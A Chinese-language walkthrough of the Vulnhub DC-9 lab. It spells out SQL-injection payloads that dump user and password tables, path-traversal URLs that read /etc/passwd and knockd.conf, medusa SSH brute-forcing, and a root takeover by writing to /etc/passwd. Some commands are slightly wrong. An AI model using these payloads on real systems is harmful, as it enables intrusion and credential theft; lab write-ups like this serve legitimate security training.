Vulnhub-DC-9

nmap 掃描獲取目標 IP 地址
a19d186e0549e59f5e0148c0ab4fcd6.png

nmap 掃描目標 IP 地址獲得開放端口:
cf061a840324c71dd0a7ddfd842515c.png
這裏仔細看下,可以看到 22 是 filtered,80 開放,22 是被過濾這就很奇怪,針對這個,首先你得看下這篇文章:
保護 SSH 的三把鎖
不想看的看下邊:(強推看下原文)

簡單總結下就是:1.換端口 2.指定用戶登入 3.敲門服務
這裏重點說下敲門服務就是,你想打開 ssh 大門,打開大門方式是念咒語,你得先去打開其它幾扇門纔可以打開 SSH 服務,敲門服務必須安裝敲門守護進程 knockd,敲門配置在 /etc/knockd.conf 文件

好啦,帶着上述知識繼續上路吧~

瀏覽下 web 頁面:192.168.67.43
e01f9e47b43130286521c1ae242c224.png

隨便點了一下,發現一些賬號,可能有用:
fc63aa4ea20d05f21e85f301fe50826.png

Search 搜索 Mary,跳出來的內容是剛剛的一些賬號
7673dde1cc29843023ac3445ddd988b.png

嘗試加一個單引號,搜索不出,再試試加個 #,頁面正常,所以此處有 SQL 注入:
6dd5cfbb37604576f32536b820e0492.png

Mary' order by 7# – result 0
+Mary' union select 1,2,3,4,5,6#
66b2d12b65b0376a60f706389b10ae5.png

+Mary' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2,3,4,5,6#
213b054a1a57a18881ad0d0339b1209.png

+Mary' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='Users'),3,(select group_concat(Username) from Users),(select group_concat(Password) from Users),6#
f708cd694f748c60bde592cc6abbcaa.png

得到用戶名和密碼:
admin
856f5de590ef37314e7c3bdf6f8a66dc
數一數是32位,可能是 MD5 ,去 MD5 網站解密,找了多家就這家好用
輸入讓你無語的 MD5
得到密碼:transorbital1,登陸網站
427f03ff6ea80dcdc325b77d3f0d492.png

登入之後,細心的你一定可以發現上述 “File does not exit”
猜測存在文件包含漏洞,在 url 地址欄輸入:
http://192.168.67.43/manage.php?file=../../../../../../../../../../etc/passwd
a46f6d753f1fffe30daef2328490692.png

但,好像並沒有什麼亂用欸,也不能像上次那樣在日誌文件寫入 shell,建立連接,那該怎麼辦呢?可以想到這裏有 22 端口等待我們利用呢?但剛剛我們查看數據的時候,好像只有個 admin ,莫非,還有別的東西?

看看還有哪些表沒有發現的:

–查詢所有數據庫
+Mary' union select (select group_concat(table_schema) from information_schema.tables),2,3,4,5,6#
d41a3a915fd9afb6188ee3841f535a7.png
可以看到除了一個 Staff 數據庫之外還有一個 users 數據庫

–查詢 users 數據庫下的表
+Mary' union select (select group_concat(table_name) from information_schema.tables where table_schema='users'),2,3,4,5,6#
bb4a80aedbdf65d807769c9a635f64f.png
有一張 UserDetails 表

–查列:
+Mary' union select (select group_concat(column_name) from information_schema.columns where table_schema='users' and table_name='UserDetails'),2,3,4,5,6#
1061b57ab068223d164557725963cb2.png

–查數據:
+Mary' union select (select group_concat(column_name) from information_schema.columns where table_schema='users' and table_name='UserDetails'),(select group_concat(username) from users.UserDetails),3,4,(select group_concat(password) from users.UserDetails),6#
將數據保存得到:
21cf023225ed73d268b4f15a6561955.png
從用戶名和密碼你會發現這個哥們是,是刷了幾遍的《老友記》啊!!!

回到前面,我們發現 SSH 是被過濾的啊,那怎麼進去?或者說?怎麼打開 SSH 服務?,這就要用到前面的敲門了。
文件包含查看一下密令:
http://192.168.67.43/manage.php?file=../../../../../../../../../../etc/knockd.conf
c6b4119b0be2babecd55123ee75ce6e.png
可以看到,欲打開 SSH 的大門,需敲門:7469,8475,9842

da8612d1d587ea6755f594a1a683703.png

敲門後,SSH 就打開了:
43bff2a6bfe83d3ded5830fd9a4eab1.png
但是這麼多用戶我們應該用哪個呢?手工一個一個試可行但太慢了,可以用 hydra 或者 medusa
medusa -h 192.168.67.43 -U users.txt -P password.txt
等待爆破完成:
ecec750aef2a508d8abfc1cb9ef79ae.png

可以得到如下賬號和密碼:這些都是可以拿去 SSH 登陸的
9eb4cd9502aa3f3cd98c7988d41a788.png

分別登錄到每個賬號:
57f39838d36f58466c7ffb513896b81.png
8c7945c96e3d497568660c98c09ab5b.png
6c1976d3944c7b805420ebab1a133d5.png
每個賬號 ls 都沒有看到什麼東西,那有沒有隱藏文件呢?
ls -la
發現其他兩個賬號都沒有 secret 這個目錄,只有 janitor 有:
49549b2359182ef6fc7845cef4592e9.png

打開看看:
cd .secrets-for-putin
ls -la
cat passwords-found-on-post-it-notes.txt
得到一些密碼:
219dbe6122e59e4bf583c67eb173dd0.png

繼續用之前得到的用戶跑一下這些密碼:
medusa -M ssh -h 192.168.67.43 -U users.txt -P sshdd.txt
得到一個新的賬號:
fredf B4-Tru3-001

拿去登陸,這是突破口:)
ls -la 沒什麼東西,看來到這裏就是要提權了。
find -perm -4000:沒有東西
枚舉一下 sudo 權限:
sudo -l
ba52b108cc462b775ae71c1f58114f9.png
去看看。
cd /opt/devstuff/dist/test
ls -la
cat test
亂碼,這是什麼類型的文件?採取故意執行報錯的方式得知:
./test
66c7e7c7129f0bb505d11706b35f5e7.png

原來是 python 文件,退回到上上層,看到有 test.py:
cat test.py
3a08bf9f5638d2329dff75b322b5fbc.png

可以看到 python 文件後面可以跟兩個參數:作用是讀取第一個文件的內容寫入到第二個文件,而且運行的時候是以 root 權限執行的,什麼東西寫進去之後可以立馬提權的 — /etc/passwd
模仿 root 寫入即可:
echo "r00t::0:0:root:/root:/bin/bash" > /tmp/k.txt
sudo /opt/devstuff/dist/test/test /tmp/k.txt /etc/passwd

ssh [email protected]
478e5958620eddcdcff74a093d94fb9.png

原來必須得要有密鑰纔可以登陸,否則不可以,我們知道 linux 的加密算法:明文密碼和一個叫salt的東西通過函數crypt()完成加密的,我們可以用 openssl 來創建一個名爲 r000t 密碼爲 123 專屬 linux 密文:
openssl -1 -salt aa 1234567890
ee8e61da5ceb43194c130e5b4d15c7c.png

cd /root
ls
b1588f39b106b6aa9b324906bb351ce.png

至此完成了 DC 所有系列,well done!

總結:
1.SQL 注入2.密碼破解3.細心觀察4.linux 寫入 /etc/passwd 提權5.ssh 敲門服務6.ssh 爆破7.隱藏文件8.openssl

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章